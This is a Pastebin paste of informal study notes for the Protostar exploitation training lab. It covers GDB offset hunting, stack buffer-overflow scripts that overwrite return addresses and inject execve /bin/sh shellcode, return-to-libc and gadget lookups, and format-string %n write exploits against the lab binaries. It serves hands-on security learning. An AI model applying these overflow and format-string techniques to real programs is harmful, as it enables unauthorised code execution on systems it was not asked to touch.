Harcrack

stacks

Nov 7th, 2018
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.31 KB | None | 0 0
  1. #######################################################################################
  2. STACK ALIKE EXPS
  3.  
  4. GDB useful commands:
  5.  
  6. disas main # to diasmble main function
  7. break *address # to break on this addres
  8. print name of function to search for a function
  9. x/2x $ebp # to find the addres of return previusly marked with breakpoint
  10. x/30x $esp # to print some addresses of the stack!
  11. for searching an address you have to look at start and end of our X41 OFFSETS to see where does AAA'S(\X41) starts and ends #start 0xbffff770 - end 0xbffff7b0
  12.  
  13. so you do end - start = new buffer to overwrite . if first (end) address ends with 0 we have overwrite to a c for example
  14.  
  15. si >> to jump to next instruction
  16. info reg >>> to view registers to view esp address in which you have to jump until you get something like this
  17. Program received signal SIGTRAP, Trace/breakpoint trap.
  18. if ilegal instruction showed when executing the binary you can try to add \x90 + breakpoint if its still happening or trowing segnmentaion fault you can try to add 10-90 to esp. until Trace/breakpoint trap its showed
  19.  
  20. win1
  21. #!/usr/bin/python
  22.  
  23. padding = "A"*64
  24. padding += "\x24\x84\x04\x08"
  25. print padding
  26.  
  27. win2
  28. buf = "A"*76
  29. #overwrite addres of return 0xb7eadc76 92
  30. #start 0xbffff770 - end 0xbffff7b0
  31. #0x80483f4
  32. #win function addres
  33. padding= "\xf4\x83\x04\x08"
  34. print buf + padding
  35.  
  36.  
  37. to input stdin in binary output the content of the exploit to a file and then
  38.  
  39. cat file - | binary
  40.  
  41. win3
  42. import struct
  43. buf = "A"*76
  44. #retunr address 0xb7eadc76
  45. #end addres 0xbffff7b0 - start 0xbffff770 offset 76
  46. esp = struct.pack("I", 0xbffff7c0)
  47. ebp = "x\90"
  48. shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
  49. print buf + esp + ebp + shellcode
  50.  
  51. to find env variables
  52. x/200s $esp
  53.  
  54. to find /bin/sh in libc
  55.  
  56. find &system,+9999999,"/bin/sh"
  57.  
  58. or on gbd info proc map and find libc.so its using
  59.  
  60. then strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh to grab the offset
  61.  
  62. then wiht the start address of libc its using you have to calc the real /bin/sh addrees so for example
  63.  
  64. 0xb7e97000(start addreslibc) + 0x11f3bf /bin/sh (address we found with strings commands on libc)
  65. to find name of an address you use
  66.  
  67. or using gdb
  68. x/s startadd+binshaddr
  69. to find string address
  70. x/s address
  71.  
  72. searching for not know addres like pop etc we can use objdump -d binary to search
  73. if theres no esp addres we can search for pop gaget address to jump at
  74. pop ebx; pop ebp; ret
  75.  
  76. for nops to see where its segmentation fault happening we can put many bytes of nops and run the binary in gdb with the outputed file and continue to see where segmentattion its happening. or we can use pattercreate.rb and then patternoffset.rb to know exactly where its happening the segfault.
  77.  
  78. for searching env variables address
  79. https://gist.github.com/oaass/85540157304dc0aaea25
  80. then we can export our variable:
  81. user@protostar:/tmp$ SHELLCODE=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'`
  82. user@protostar:/tmp$ export SHELLCODE
  83. user@protostar:/tmp$ echo $SHELLCODE
  84. 1Ph//shh/bin°
  85. ̀1@̀
  86. and from same path user getenv to know the address then launch your code from same path
  87.  
  88. win5
  89. import struct
  90. #0xbffff7ac-0xbffff75c
  91. trash = "A"*80
  92. pop = struct.pack("I", 0x08048492)
  93. nops = "B"*8
  94. shellcode = struct.pack("I", 0xbffff96d)
  95. print trash + pop + nops + shellcode
  96.  
  97. #################################################################################
  98.  
  99. FORMAT
  100. exp0
  101. ./format0 `python -c 'print "%64d\xef\xbe\xad\xde"'`
  102.  
  103. exp1
  104. for searching offset for strings look for your hex strings in loop
  105. for i in {1..150}; do echo $i; ./format1 $(python -c "print 'ABCDEFGH.%$i\$x'"); echo; done;
  106. then look for target address
  107. objdump -t binary | target
  108. exploit:
  109. ./binary $(python -c 'print "A\x38\x96\x04\x08FGH.*130$n"')
  110.  
  111. exp2
  112. searching for offset
  113. for i in {1..50}; do echo $i; echo $(python -c "print 'ABCDEFGH.%$i\$x'") | ./format2; echo; done;
  114.  
  115. then searching for target address
  116. objdump -t binary | grep target
  117. then make your exploit
  118. echo $(python -c 'print "\xe4\x96\x04\x08EFGH" + "A"*56 + "%4$n"') | ./format2
  119. notice we have to pipe it | cuz runing like other times doesnt work ( ./binary $(print command)) doesnt not work
Advertisement
Add Comment
Please, Sign In to add comment